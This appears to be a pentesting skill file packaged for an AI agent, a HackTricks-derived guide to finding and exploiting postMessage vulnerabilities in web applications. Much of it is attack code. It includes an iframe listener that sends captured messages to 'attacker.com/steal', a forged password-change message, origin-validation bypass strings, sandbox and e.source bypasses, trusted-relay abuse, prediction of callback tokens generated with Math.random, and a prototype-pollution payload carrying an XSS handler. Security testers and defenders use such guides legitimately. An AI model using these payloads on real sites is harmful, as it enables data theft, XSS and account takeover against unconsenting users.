Hacktricks-skills postmessage-vulnerabilities
How to identify and exploit postMessage vulnerabilities in web applications. Use this skill whenever the user mentions postMessage, cross-origin communication, iframe messaging, event listeners, origin validation, or wants to test for message-based XSS, prototype pollution, or token theft. Trigger for any pentesting task involving JavaScript messaging APIs, cross-origin data flows, or third-party SDK integrations.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/postmessage-vulnerabilities/postmessage-vulnerabilities/SKILL.MDPostMessage Vulnerabilities
A comprehensive guide to identifying and exploiting postMessage vulnerabilities in web applications.
Quick Start
- Enumerate postMessage listeners on the target page
- Identify weak origin validation patterns
- Test for common bypass techniques
- Exploit based on the vulnerability type found
Enumeration
Find Event Listeners
Method 1: Search JavaScript files
grep -r "addEventListener.*message" /path/to/js/ grep -r "\$\(window\).on.*message" /path/to/js/
Method 2: Browser DevTools
// In console getEventListeners(window)
Method 3: DevTools UI
- Go to Elements → Event Listeners tab
- Look for
event handlersmessage
Method 4: Browser Extensions
These intercept and display all postMessage traffic.
Common Vulnerability Patterns
1. Wildcard Target Origin
Vulnerable code:
window.postMessage('sensitive data', '*')
Exploit: If the page can be iframed (no X-Frame-Options), you can:
- Create an iframe pointing to the victim page
- Listen for messages with
window.addEventListener('message', handler) - Receive all messages sent with
target origin*
Attack vector:
<iframe src="https://victim.com/sensitive-page"></iframe> <script> window.addEventListener('message', (e) => { console.log('Stolen:', e.data); fetch('https://attacker.com/steal?data=' + encodeURIComponent(JSON.stringify(e.data))); }); </script>
2. Missing Origin Validation
Vulnerable code:
window.addEventListener('message', (e) => { // No origin check! processSensitiveData(e.data); });
Exploit: Send arbitrary messages from any origin:
const victimWindow = window.open('https://victim.com/'); victimWindow.postMessage({ action: 'changePassword', newPassword: 'attacker-controlled' }, '*');
3. Weak Origin Validation
indexOf() bypass:
// Vulnerable if (event.origin.indexOf('https://trusted.com') !== -1) { // ... } // Bypass with: https://attacker-trusted.com.evil.com
search() bypass:
// Vulnerable - treats string as regex if (event.origin.search('trusted.com') !== -1) { // ... } // Bypass with: trustedXcom (X matches any char in regex)
match() bypass:
// Vulnerable if (event.origin.match(/trusted\.com/)) { // ... } // Bypass with: trusted.com.evil.com (matches the pattern)
4. e.origin == window.origin Bypass
Scenario: Sandboxed iframes with
allow-popups but not allow-popups-to-escape-sandbox
Exploit: Both iframe and popup have
null origin:
// In sandboxed iframe const popup = window.open('https://attacker.com/'); // e.origin === null, window.origin === null // So e.origin == window.origin evaluates to true
5. e.source Bypass
Vulnerable check:
if (received_message.source !== window) { return; }
Bypass: Create and immediately delete an iframe:
const iframe = document.createElement('iframe'); document.body.appendChild(iframe); iframe.contentWindow.postMessage('data', '*'); document.body.removeChild(iframe); // e.source is now null
Advanced Attack Patterns
Origin-Derived Script Loading
Pattern: SDK stores
event.origin and uses it to load scripts
Exploit:
- Send postMessage from attacker origin
- SDK stores attacker origin in localStorage
- SDK loads script from attacker origin
- Attacker JS runs in victim context
Example (CAPIG case study):
// Attacker sends window.postMessage({ msg_type: 'IWL_BOOTSTRAP', pixel_id: '12345' }, '*'); // SDK stores event.origin and later loads: // ${event.origin}/sdk/${pixel_id}/iwl.js
Trusted Relay Abuse
Pattern: Trusted origin has endpoints that forward URL params via postMessage
Exploit:
- Find relay endpoint on trusted origin (e.g.,
)/preview?msg=... - Navigate attacker-controlled window to relay with crafted params
- Relay sends postMessage from trusted origin
- Victim listener accepts it (origin check passes)
Example:
// Attacker page const relay = window.open('https://trusted.com/relay?msg_type=ADMIN_ACTION&token=STOLEN'); // Relay sends postMessage from trusted.com origin // Victim accepts it
Math.random() Token Prediction
Pattern: Callback tokens generated with
Math.random()
Exploit:
- Leak PRNG outputs via
on plugin iframeswindow.name - Use V8 predictor (e.g., v8-randomness-predictor)
- Predict next callback token
- Forge trusted messages
Example:
// Leaked iframe name: "f7a3b2c1d4e5" // Convert back to float, feed to predictor // Get next predictedFloat const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", ""); // Use callback in forged message
Prototype Pollution via postMessage
Pattern: postMessage data merged into objects without sanitization
Exploit:
const victim = window.open('https://victim.com/iframe'); victim.postMessage({ '__proto__': { 'isAdmin': true, 'username': '<img src=x onerror=alert(1)>' } }, '*');
Testing Checklist
- Can the page be iframed? (Check X-Frame-Options, Content-Security-Policy)
- Are there postMessage listeners? (Use enumeration methods above)
- Do listeners validate event.origin?
- Is validation using indexOf/search/match? (Weak patterns)
- Is targetOrigin set to '*'?
- Are there third-party SDKs with postMessage handlers?
- Can you find relay endpoints on trusted origins?
- Are callback tokens predictable?
Tools
- Posta: https://github.com/benso-io/posta
- postMessage-tracker: https://github.com/fransr/postMessage-tracker
- V8 Randomness Predictor: https://github.com/PwnFunction/v8-randomness-predictor
- EventListener XSS Recon: https://github.com/yavolo/eventlistener-xss-recon